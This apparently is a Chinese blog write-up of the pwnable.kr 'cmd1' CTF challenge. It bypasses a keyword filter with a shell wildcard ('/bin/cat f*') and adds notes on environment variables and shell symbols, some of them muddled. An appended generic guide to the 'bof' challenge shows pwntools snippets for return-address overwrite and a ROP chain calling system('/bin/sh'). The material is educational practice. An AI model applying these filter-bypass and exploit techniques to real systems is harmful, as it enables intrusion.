pwnable.kr---cmd1

本文详细解析了pwnable.kr平台上的cmd1挑战题。介绍了如何绕过filter函数限制,使用通配符技巧读取flag文件,并对Linux环境变量及系统命令进行了深入探讨。

pwnable.kr—cmd1

解题思路

逐步分析题目的含义:

putenv("PATH=/fuckyouverymuch");

这行代码相当于重写了PATH这个环境变量

if(filter(argv[1])) return 0;

这行对输入argv[1]继续宁过滤处理,如果返回值为真,则return 0.这里我们需要返回值为false。接着查看filter函数:

    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;

对r进行累加,最后return r.根据上一步,我们知道需要使r=0。那么3个strstr函数的返回值都应当为null(0)。也就是说cmd命令中不能包含flag\sh\tmp字段,也即argv[1]不能包含这些字段。

假如已经通过了filter函数,接下来执行

system( argv[1] );

那么很容易想到令argv[1]=”/bin/cat flag”。于是问题就转化为如何将flag字段转化成其他的。这里有很多方法(都是从writeup那里偷来的,所以就不好意思放在这里了)。我就只列其中一种吧,我最喜欢的~

./cmd1 "/bin/cat f*"

这里使用了linux shell下的特殊字符*(通配符),匹配后边0个或多个任意字符。

遇到的问题

1.卡到filter,没有思路。。。。。。。

我当时有想过能不能在system下边重启一个进程,然后在新进程下可以不管filter的束缚,直接cat flag.现在看来仿佛是可以的啊,比如Set -s(虽然到现在都不理解它的用法).总之当时GG了

2.对/bin/cat很疑惑,为什么执行打开flag文件的时候都需要写”/bin/cat flag”?

后来做其他题目的时候才深刻的理解到linux中一切届文件,cat其实是/bin目录下的一个可执行文件,那么/bin/cat flag就相当于执行了当前目录下/bin目录下的cat这个可执行问价,这个文件(命令)的功能就是打开一个文件显示在屏幕上。

收获

1.putenv(char *envvar):改变/增加环境变量的内容;envvar的格式为:envvar=value(若已存在,则依参数envvar改变;若不存在,new env)

2.strstr(str1,str2):判断str2是否是str1的子串;若是则返回str2在str1中首次出现的地址;若否则返回null。

3.linux环境变量的总结:根据生命周期分可分为永久性和临时性。永久的需要修改相关配置文件,变量永久生效;临时的是用户利用export命令,在当前终端下声明环境变量,关闭shell终端,则变量失效。根据作用域可以分为系统变量和用户变量。前者对系统中的所有用户有效,在/etc/profile中修改,如果想立刻有效执行source /etc/profile,否则重进此用户生效。后者只对特定用户有效,在用户目录下的.bash_profile文件中增加,永久有效。此外,直接运行export命令定义变量,只对当前shell有效,是temporary,export 变量名=变量值,该变量值在当前shell或其子shell下有效,shell关闭则变量失效。

4.bash shell 环境变量分为全局变量和局部变量。前者不仅shell会话可见,创建的子进程也可见;后者只对创建它们的shell会话可见。

5.linux shell中常见的一些符号的使用:

“”(双引):”$”,”`”,”\”都按特殊字符解析,不按字母意思解析,”\$vlocal”指的是变量值

”(单引)字符解析,没有特殊含义

“(反引)内容解析为系统命令;同$()

\(反斜)屏蔽下一个字符的特殊含义

$:传递到脚本中的参数个数

?:0个或1个在其之前的那个普通字符

*:0个或多个之前的那个普通字符

+:1个或多个之前的那个普通字符

^:行首

$:命令退出状态,0无,非0有

|:管道;或

6.grep命令:用于查找文件里符合条件的字符串

7.more命令:基于vi编辑器文本过滤器;全屏方式按页显示文本文件内容;space(下一屏);enter(下一行);B(上一屏)

仍存在的疑惑

1.神奇的软连接~~~~

### pwnable.kr bof题目概述 pwnable.kr 是一个著名的在线渗透测试练习平台,bof(Buffer Overflow,缓冲区溢出)题目是其中经典类型。缓冲区溢出通常是由于程序没有正确检查用户输入的长度,导致输入的数据超出了缓冲区的边界,从而覆盖相邻的内存区域,可能改变程序的执行流程。 ### 解题思路与步骤 #### 1. 环境准备 首先需要在本地搭建好调试环境,安装必要的工具,如`gdb`(GNU调试器)、`pwntools`(Python 库,用于编写漏洞利用脚本)等。例如,使用`pwntools`可以方便地与远程服务器进行交互。 ```python from pwn import * # 连接到远程服务器 p = remote('pwnable.kr', 9000) ``` #### 2. 分析程序 - **反汇编**:使用`objdump`或`gdb`对目标程序进行反汇编,查看程序的汇编代码,了解程序的逻辑和函数调用关系。例如,使用`objdump -d bof`可以得到程序的反汇编代码。 - **检查漏洞点**:重点关注程序中存在缓冲区操作的函数,如`gets`、`strcpy`等,这些函数通常不检查输入的长度,容易引发缓冲区溢出漏洞。 #### 3. 确定缓冲区大小 通过调试程序,向程序输入不同长度的数据,观察程序的行为,确定缓冲区的大小。可以使用`gdb`设置断点,在关键位置查看栈的状态。 ```python # 构造不同长度的测试数据 test_data = 'A' * 10 p.sendline(test_data) ``` #### 4. 覆盖返回地址 当确定了缓冲区大小后,构造恶意输入,覆盖程序的返回地址。返回地址是函数调用结束后程序要跳转执行的地址,通过覆盖它可以改变程序的执行流程。 ```python # 计算返回地址的偏移量 offset = 44 # 假设偏移量为 44 # 构造恶意输入 payload = 'A' * offset # 获取目标地址(如系统函数地址) target_address = p64(0xdeadbeef) payload += target_address p.sendline(payload) ``` #### 5. 利用漏洞执行任意代码 - **调用系统函数**:如果程序中存在可利用的系统函数(如`system`),可以通过覆盖返回地址,将程序的执行流程引导到这些函数上,并传入合适的参数(如`/bin/sh`),从而获得一个 shell。 - **ROP 链**:如果程序中没有合适的系统函数可以直接调用,可以使用 ROP(Return Oriented Programming,面向返回编程)技术,通过拼接多个小的代码片段(gadget)来实现复杂的功能。 ```python # 构造 ROP 链 rop = ROP(elf) # 查找合适的 gadget pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] bin_sh = next(elf.search(b'/bin/sh')) system_addr = elf.symbols['system'] # 构造 ROP 链 rop.raw(pop_rdi) rop.raw(bin_sh) rop.raw(system_addr) # 构造最终的 payload payload = 'A' * offset + str(rop) p.sendline(payload) ``` ### 技术分析 #### 缓冲区溢出原理 缓冲区溢出是由于程序对输入数据的长度没有进行有效的检查,导致输入的数据超出了缓冲区的边界,覆盖了相邻的内存区域。在栈上,函数调用时会保存返回地址等信息,当缓冲区溢出发生时,返回地址可能被覆盖,从而改变程序的执行流程。 #### 栈布局与内存管理 了解栈的布局对于利用缓冲区溢出漏洞至关重要。栈是一种后进先出的数据结构,函数调用时会在栈上分配空间,保存局部变量、参数和返回地址等信息。通过调试和分析栈的状态,可以确定缓冲区的位置和返回地址的偏移量。 #### 保护机制绕过 现代操作系统和编译器通常会采用一些保护机制,如 ASLR(地址空间布局随机化)、Canary(栈保护)等,来防止缓冲区溢出漏洞的利用。在解题过程中,需要了解这些保护机制,并寻找相应的绕过方法。例如,对于 ASLR,可以通过泄露程序的基地址来绕过;对于 Canary,可以通过泄露 Canary 的值来绕过。 ### 总结 解决 pwnable.kr 的 bof 题目需要掌握缓冲区溢出的基本原理、调试技巧和漏洞利用技术。通过不断地练习和实践,可以提高对漏洞的分析和利用能力。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值